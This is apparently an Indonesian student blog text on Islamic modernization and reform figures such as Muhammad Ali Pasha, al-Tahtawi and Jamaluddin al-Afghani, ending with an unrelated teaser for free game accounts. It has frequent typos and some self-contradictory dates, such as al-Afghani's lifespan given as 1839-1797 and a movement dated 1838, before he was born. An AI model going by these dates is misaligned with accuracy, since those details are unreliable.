  6. Mendirikan sekolah Mektebi Ma’arif.yang mempesiapkan tenaga-tenaga ahli penerjenah
  7. Mendirikan sekolah kedokteran,militer,teknik

d.Muhammad Ali Pasha(1765-1849 M)

            Muhammad Ali Pasha dilahirkan di Kwawala,Yunani tahun 1765 M
Sejak kecil ia memiliki ketranpilan dan kecerdasan luar biasa.dalam perjalan karirnya,banyak usaha dilakukan untuk pembaharuan atau memodernisasikan keadaan uamat islam yang telah jauh tertinggal dari negra-negara barat.diantara usaha-usaha pembaharuan yang dilakukannya adalah:
  1. Dalam bidang militer
  2. Dalam bidang pendidikan
  3. Dalam bidang ekonomi

Gerakan pembaharuan(mordinisasi) yang terjadi pada abad ke-18 M,terus berlangsung sampai akhirnya pada abad ke-19 M muncul tokoh-tokoh pembaharuan yang merupakan produk dari gerakan pembaharuan islam masa-masa sebelumnya.di antara tokoh pembaharuan yang muncul pada abad ke-19 M adalah:
  1. Al-Tahtawi(1801-1873 M)
  2. Jamaluddin al-Afghani(1839-1797 M)
  3. Muhammad Abduh(1849-1905 M)
  4. Muhammad rayid Ridla(1865-1935 M)
  5. Sayyid Ahmad Khan(1817-1898 M)
  6. Muhammad Iqbal(1876-1938 M)

1.2. Cita-cita Dan Nilai Yang Terkandung Dalam Gerakan Modernisasi
      Gerakan mordenisasi dalam dunia islam dipelopori oleh para tokoh islam yang berusaha sekuat tenaga untuk kembali kepada ajaran islam yang benar,dan berusaha kembali untuk memajukan islam dan umatnya. Para pemimpin menyadari kelemahan,ketertinggalan dan keterbelakangan dari berbagai aspeknya,setelah banyak diantara mereka yang berdialog atau berhadapan langsung dengan kemajuan peradaban bangsa barat.
            Berdasarkan pengalaman bangsa-bangsa islam yang menjjah barat,muncullah ide dan cita-cita para pembeharu untuk melakukan gerakan pembeharuan yang secara luas mereka sampaikan kepada seluruh umat islam di dunia.cita-cita itu antara lain adalah:
  1. Memurnikan ajaran islam dari segala unsur tahayul
  2. Membebaskan umat islamdari belenggu taklid yang melanda umat islam saat itu,sehingga mereka menjadi jummud
  3. Memperjuangkan pendidikan universal
  4. Memperkuat Ukhuwah Islamiyah
  5. Menumbuhkan sikap aktif dan dinamis
  6. Perlunya dilakukan ijtihad baru
  7. Pembangunan kembali pemikiran Islam.

Gerakan pembaharuan yang dilakukan para tokoh pembaharuan itu,memilki nilai-nilai positif bagi terbentuknya suatu tatanan dunia baru islam yang dapat menhadapi perkembangan dunia dengan segala persoalannya yang ada.nilai-nilai itu ada pada wujud gerakan yang dilakukan,seperti :
    1. Nilai persatuan
    2. Nilai solidaritas Islam(Uhkwuh Islamiyah)
    3. Nilai perjungan(Jihad fi Sabilillah)
    4. Nilai-nilai Kemerdekaan

KEBANGKITAN DUNIA ISLAM.
            
            Gerakan modernisasi dunia islam yang dilakukan para pembaharu muslim tersebut,memiliki semangat juang besar dalammembangkitkan semangat umat islam untuk bangkit kembali dalam menguasai sains dan teknologi,di samping melakukan gerakan tersebut.gerakan pembaharuan yang dilakukan para tokoh tersebut,bergema keseluruh penjuruh dunia islam,oleh karena itu,banyak diantara negara-negara muslim mengikuti gerakan pembaharuan tersebut,sehingga lahirlah suatu tatanan baru dalam dunia islam,yaitu kebangkitan dunia islam,baik dalam bidang ilmu pengetahuan,politik,pendidikan dan kebangkitan melawan penjajah barat.


2.1.Kebangkitan Dunia Islam di Bidang Ilmu Pengetahuan,Pendidikan dan Politik.
           
Menyadari kekalahan dan kelemahan dalam berbagai aspek kehidupan dari bangsa-bangsa barat,uamat islam mulai bangkit kembali untuk mengejar ketertinggalan itu adalah Turki Usmani dan Mesir.di Turki,para sultan mengirim duta-dutanya ke eropa untuk mengetahui kemajuan yang di capai bangsa barat.dari informasi yang diterima dari para duta tersebut,sultal akhirnya melakukan pembaharuan dalam bidang politik dan militer.karna disitulah letak kemajuan dan kemenagan barat atas dunia islam.
Di Mesir Muhammad Ali Pasha(1765-1849M) tampil untuk memajukan ilmu pengetahuan dengan medirikan berbagai lembaga pendidikan dan penerjemahan,sehingga pada masanya Mesir menjadi negara maju.usaha ini kemudian dilanjutkan olel Al-Tahtawi(1801-1873 M).berkat usahanya,banyak tejemahan buku barat tentang berbagai ilmu pengetahuan yang modern,dan dikarang pula buku-buku baru beserta menerbitkan berbagai surat kabar dan majalah.
Penerjemahan berjalan dengan lancar,terutama setelah mendirikanya sekolah penerjemah tahun 1836 M.sekolah ini kemudian diserahkan Ali kepada Tahtawi.di sekolah ini terdapat banyak para ahli yang memiliki pengetahuan sesuai dengan bidang masing-masing,sehingga sekolah ini membagi empat bagian.bagian ilmu pasti,bagian ilmu kedokteran,bagian ilmu fisika,dan bagian ilmu sastra.
Di antara buku-buku yang terjemahankan kedalam bahasa arab adalah buku-buku dibidang filsafah,biografi,logika,ilmu bumi,politik,antropologi dan lain-lain.
Untuk mendapatkan tenaga ahli,Mesir selain mengutus para pelajar ke Prancis,Muhammad Ali Pasha mendatangkan ahli dari barat,terutama dalam bidang militer.para pelajar yang dikirim ke Prancis,Inggris,dan Austria medapat beasiswa dari pemerintah Muhammad Ali.
Ide-ide pembahuruan Islam yang dilakukan para pembaharu tidak hanya dalam keagamaan,tetapi juga pembaharuan dalam bidang-bidang sosial politik,sehingga melahirkan kebangkitan kembali dalam dunia islam dalam bidang politik,yang dimulai dengan tumbuhnya kesadaran bahwa sistem politik islam ketika itu sudah menyimpang dari sumber-sumber ajaran islam.seperti masalah Khalifah yang sebetulnya adalah milik umat islam,setelah berubah menjadi milik suatu golongan tertentu,sehingga yang berkuasa bukan orang yang dikehendaki oleh umat,tetapi hanya orang-orang tertentu yang menguasai negara.
Untuk mengatasi masalah itu,umat islam dan negara-negara islam,sepeti Mesir dan Turki yang berusaha memperkuat angkatan meliternya,disamping pembaharuan bidang-bidang lainnya.gerakan politik yang paling menonjol dilakukan oleh Jamaluddin al Afghani(1839-1897 M) yang menyebarkan ide Pan-Islamismenya di dunia islam.untuk mencapai ide ini ia mendirikan partai nasional(Al-Hizb al Wathani) di Mesir,memperjuangkan pendidikan universal,menyelenggarakan kebebasan pers,dan sebagainya.
Dengan medirikannya berbagai lembaga pendidikan tinggi dengan berbagai displin ilmu,serta lahirnya para tokoh pembaharuan,dunia islam mengalami kebangkitan kembali,sehingga bangsa-bansa barat tidak seenaknya melakukan penjajahan terhadap negara-negara muslim.



2.2.Tumbuhnya Gerakan Menentang Penjajahan Bangsa Barat.

            Tumbuhnya gerakan pembaharuan dalam islam,merupakan wujud dari bentuk kessdaran uamat islam dari ketertinggalan dan keterbelakangan mereka.banyaknya persoalan yang di hadapi umat isla,baik persoalan intern sepeti adanya penyimpangan ajaran islam dar ajaran sebernarnya.serta persoalan ektern uamat yang ditimbulkan dari tekanan penjajahan bangsa-bangsa barat,yang menuntut segera di atasi dan dipecahkan masalahnya.
            Umat islam menyadari,bahwa untuk mengatsinya kekuatan bangsa-bangsa barat tidak mudah,tanpa melakukan kosolidasi keyakinan uamat seta menghimpun semangat juang umat islam.tanpa itu,perlawanan terhadap penjajh tidak akan berhasil.
            Gerakan Pan-Islamisme yang dilakukan Jamaluddin al Afgahni merupakan cikal bakal dari gerakan kesatuan untuk menentang penjajah.karena gerakan ini,tahun1838 M telah membangkitakan semangat baru umat islam dengan tujuan memajukan uamat degan jalan mempergunakan aliran pemikiran modern dengan bentuk persatuan seluruh uamat islam di bawah satu pemerintahan islam,yaitu seperti Zaman para Khalifah Islam.
            Gerakan Pan-Islamisme dan persatuan umat islam,merupakan suatau gerakan yang sangat revolusioner dan transparan menentang keberadaan penjajah barat di dunia muslim.di dalam faham itu terdapat suatu keyajinan bahwa untuk memajukan uamat islam harus dilakuakan melaului perjuangan fisik dan pemikiran untuk mengusir kaum penjajah dari dunia islam.
            Dalam menghadapi bangsa barat,gerakan persatuan uamat islam tersebar keseluruh penjuruh dunia islam.bahkan kedalam wilayah islamyang sedang berada dalam cengkraman penjajah bangsa barat,seperti Indonesia dan Malaysia.
            Proses penyebaran informasi mengenai adanyan erakan perlawanan terhadap para penjajah barat oleh umat islam,dilakuakan melalui sarana ibadah haji.ibada haji sangat efektif sebagai sarana informasi gerakan ini,sehingga uamat islam dari seluruh dunia bangkit kesadaran mereka setelah menyasikan sendiri gerakan persatuan islam yang mereka lihat di Mekkah.sepulang dari haji mereka mendirikan organisasi atau kumpulan untuk menentang penjajah asing di wilayah masing-masing.
            Geakan penentangan terhadap penjajahan ini juga dilandasi oleh ide-ide nasionalisme,yaitu suatu kesadaran kebangasaaan atas haknya sebagai pemilik sah tanah air yang tidak boleh diganggu oleh bangsa manapun.disamping itu berkembang pula ide patritisme,yakni pahlawan dan kepeloporan untuk bangkit sebagai pahlawan dalam mempertahankan tanah air dari penjajahan bangsa asing.


GM Bagi Bagi Char PB Garena 2016/2017

Kumpulan Akun Char PB Pointblank Gratis 2017 Yang belum diambil   -  Apakah anda tahu, setiap minggunya GM memberikan PB gratis kepada pl...